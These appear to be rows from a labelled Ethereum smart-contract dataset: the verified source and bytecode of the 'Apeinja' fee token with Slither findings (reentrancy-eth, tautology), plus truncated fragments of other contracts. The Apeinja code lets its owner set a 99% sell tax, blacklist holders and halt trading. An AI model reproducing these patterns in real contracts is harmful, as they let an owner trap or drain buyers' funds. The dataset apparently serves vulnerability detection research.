6d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d397e9e1338021e753f98ac1dbda2a44476fd6b3e0078d83c701a4f5f9bdc07364736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,071
0x2f06281649b6f516464b7936b5502826a034a7ab
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ /** *Submitted for verification at Etherscan.io on 2022-03-17 */ /** https://t.me/apeinja https://t.me/apeinja https://t.me/apeinja */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Apeinja is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Apeinja"; string private constant _symbol = "APEINJA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7483FE2Af25bAA88B6E5c820cab6012C908983bA); address payable private _marketingAddress = payable(0x87d8AF3Cec1DcDbbB9a07F028d0171f414B97A09); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy Rewards"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy Tax"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell Rewards"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell Tax"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a68565b6105fc565b005b34801561020a57600080fd5b50604080518082019091526007815266417065696e6a6160c81b60208201525b6040516102379190611b2d565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611b82565b61069b565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50683635c9adc5dea000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611bae565b6106b2565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601554610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611bef565b61071b565b34801561036c57600080fd5b506101fc61037b366004611c1c565b610766565b34801561038c57600080fd5b506101fc6107ae565b3480156103a157600080fd5b506102c06103b0366004611bef565b6107f9565b3480156103c157600080fd5b506101fc61081b565b3480156103d657600080fd5b506101fc6103e5366004611c37565b61088f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611bef565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610290565b34801561045757600080fd5b506101fc610466366004611c1c565b6108ce565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b50604080518082019091526007815266415045494e4a4160c81b602082015261022a565b3480156104bd57600080fd5b506101fc6104cc366004611c37565b610916565b3480156104dd57600080fd5b506101fc6104ec366004611c50565b610945565b3480156104fd57600080fd5b5061026061050c366004611b82565b610a79565b34801561051d57600080fd5b5061026061052c366004611bef565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610a86565b34801561056257600080fd5b506101fc610571366004611c82565b610ada565b34801561058257600080fd5b506102c0610591366004611d06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611c37565b610b7b565b3480156105e857600080fd5b506101fc6105f7366004611bef565b610baa565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611d3f565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611d74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611da0565b915050610632565b5050565b60006106a8338484610c94565b5060015b92915050565b60006106bf848484610db8565b610711843361070c85604051806060016040528060288152602001611eba602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112f4565b610c94565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611d3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611d3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f68161132e565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611368565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611d3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611d3f565b674563918244f400008111156107f657601655565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161062690611d3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109405760405162461bcd60e51b815260040161062690611d3f565b601855565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161062690611d3f565b60048411156109ae5760405162461bcd60e51b815260206004820152600b60248201526a427579205265776172647360a81b6044820152606401610626565b60148211156109e95760405162461bcd60e51b8152602060048201526007602482015266084eaf240a8c2f60cb1b6044820152606401610626565b6004831115610a295760405162461bcd60e51b815260206004820152600c60248201526b53656c6c205265776172647360a01b6044820152606401610626565b6063811115610a655760405162461bcd60e51b81526020600482015260086024820152670a6cad8d840a8c2f60c31b6044820152606401610626565b600893909355600a91909155600955600b55565b60006106a8338484610db8565b6012546001600160a01b0316336001600160a01b03161480610abb57506013546001600160a01b0316336001600160a01b0316145b610ac457600080fd5b6000610acf306107f9565b90506107f6816113ec565b6000546001600160a01b03163314610b045760405162461bcd60e51b815260040161062690611d3f565b60005b82811015610b75578160056000868685818110610b2657610b26611d74565b9050602002016020810190610b3b9190611bef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6d81611da0565b915050610b07565b50505050565b6000546001600160a01b03163314610ba55760405162461bcd60e51b815260040161062690611d3f565b601755565b6000546001600160a01b03163314610bd45760405162461bcd60e51b815260040161062690611d3f565b6001600160a01b038116610c395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610d575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610e7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610ee05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610f0c57506000546001600160a01b03838116911614155b156111ed57601554600160a01b900460ff16610fa5576000546001600160a01b03848116911614610fa55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ff75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff1615801561103957506001600160a01b03821660009081526010602052604090205460ff16155b6110915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b0383811691161461111657601754816110b3846107f9565b6110bd9190611dbb565b106111165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b6000611121306107f9565b60185460165491925082101590821061113a5760165491505b8080156111515750601554600160a81b900460ff16155b801561116b57506015546001600160a01b03868116911614155b80156111805750601554600160b01b900460ff165b80156111a557506001600160a01b03851660009081526005602052604090205460ff16155b80156111ca57506001600160a01b03841660009081526005602052604090205460ff16155b156111ea576111d8826113ec565b4780156111e8576111e84761132e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122f57506001600160a01b03831660009081526005602052604090205460ff165b8061126157506015546001600160a01b0385811691161480159061126157506015546001600160a01b03848116911614155b1561126e575060006112e8565b6015546001600160a01b03858116911614801561129957506014546001600160a01b03848116911614155b156112ab57600854600c55600954600d555b6015546001600160a01b0384811691161480156112d657506014546001600160a01b03858116911614155b156112e857600a54600c55600b54600d555b610b7584848484611575565b600081848411156113185760405162461bcd60e51b81526004016106269190611b2d565b5060006113258486611dd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156113cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006113d96115a3565b90506113e583826115c6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143457611434611d74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148857600080fd5b505afa15801561149c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c09190611dea565b816001815181106114d3576114d3611d74565b6001600160a01b0392831660209182029290920101526014546114f99130911684610c94565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611532908590600090869030904290600401611e07565b600060405180830381600087803b15801561154c57600080fd5b505af1158015611560573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061158257611582611608565b61158d848484611636565b80610b7557610b75600e54600c55600f54600d55565b60008060006115b061172d565b90925090506115bf82826115c6565b9250505090565b60006113e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061176f565b600c541580156116185750600d54155b1561161f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116488761179d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061167a90876117fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116a9908661183c565b6001600160a01b0389166000908152600260205260409020556116cb8161189b565b6116d584836118e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061174982826115c6565b82101561176657505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117905760405162461bcd60e51b81526004016106269190611b2d565b5060006113258486611e78565b60008060008060008060008060006117ba8a600c54600d54611909565b92509250925060006117ca6115a3565b905060008060006117dd8e87878761195e565b919e509c509a509598509396509194505050505091939550919395565b60006113e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f4565b6000806118498385611dbb565b9050838110156113e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b60006118a56115a3565b905060006118b383836119ae565b306000908152600260205260409020549091506118d0908261183c565b30600090815260026020526040902055505050565b6006546118f290836117fa565b600655600754611902908261183c565b6007555050565b6000808080611923606461191d89896119ae565b906115c6565b90506000611936606461191d8a896119ae565b9050600061194e826119488b866117fa565b906117fa565b9992985090965090945050505050565b600080808061196d88866119ae565b9050600061197b88876119ae565b9050600061198988886119ae565b9050600061199b8261194886866117fa565b939b939a50919850919650505050505050565b6000826119bd575060006106ac565b60006119c98385611e9a565b9050826119d68583611e78565b146113e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b8035611a6381611a43565b919050565b60006020808385031215611a7b57600080fd5b823567ffffffffffffffff80821115611a9357600080fd5b818501915085601f830112611aa757600080fd5b813581811115611ab957611ab9611a2d565b8060051b604051601f19603f83011681018181108582111715611ade57611ade611a2d565b604052918252848201925083810185019188831115611afc57600080fd5b938501935b82851015611b2157611b1285611a58565b84529385019392850192611b01565b98975050505050505050565b600060208083528351808285015260005b81811015611b5a57858101830151858201604001528201611b3e565b81811115611b6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b9557600080fd5b8235611ba081611a43565b946020939093013593505050565b600080600060608486031215611bc357600080fd5b8335611bce81611a43565b92506020840135611bde81611a43565b929592945050506040919091013590565b600060208284031215611c0157600080fd5b81356113e581611a43565b80358015158114611a6357600080fd5b600060208284031215611c2e57600080fd5b6113e582611c0c565b600060208284031215611c4957600080fd5b5035919050565b60008060008060808587031215611c6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c9757600080fd5b833567ffffffffffffffff80821115611caf57600080fd5b818601915086601f830112611cc357600080fd5b813581811115611cd257600080fd5b8760208260051b8501011115611ce757600080fd5b602092830195509350611cfd9186019050611c0c565b90509250925092565b60008060408385031215611d1957600080fd5b8235611d2481611a43565b91506020830135611d3481611a43565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611db457611db4611d8a565b5060010190565b60008219821115611dce57611dce611d8a565b500190565b600082821015611de557611de5611d8a565b500390565b600060208284031215611dfc57600080fd5b81516113e581611a43565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e575784516001600160a01b031683529383019391830191600101611e32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eb457611eb4611d8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208be227dbe542d4fc32295a6e853f4253355bf89e8cb55776e721e12dd8a3babf64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,072
0xea068ab3f320b5c1ecc4602dd2cbbc7eafbe7ae8
/* __ __ __ ___ ___ ___ ____ ___ ___ ___ _____ _____ ____ / ]| | | / _]| \ | \ / || | | / \ | || | / | / / | | | / [_ | \ | \ | o || _ _ || ||__/ ||__/ || o | / / | _ || _]| D || D || || \_/ || O || __|| __|| | / \_ | | || [_ | || || _ || | || || / || / || _ | \ || | || || || || | || | || || || || | | \____||__|__||_____||_____||_____||__|__||___|___| \___/ |_____||_____||__|__| Twitter: https://twitter.com/CheddaMozza Telegram: https://t.me/CheddaMozza */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, 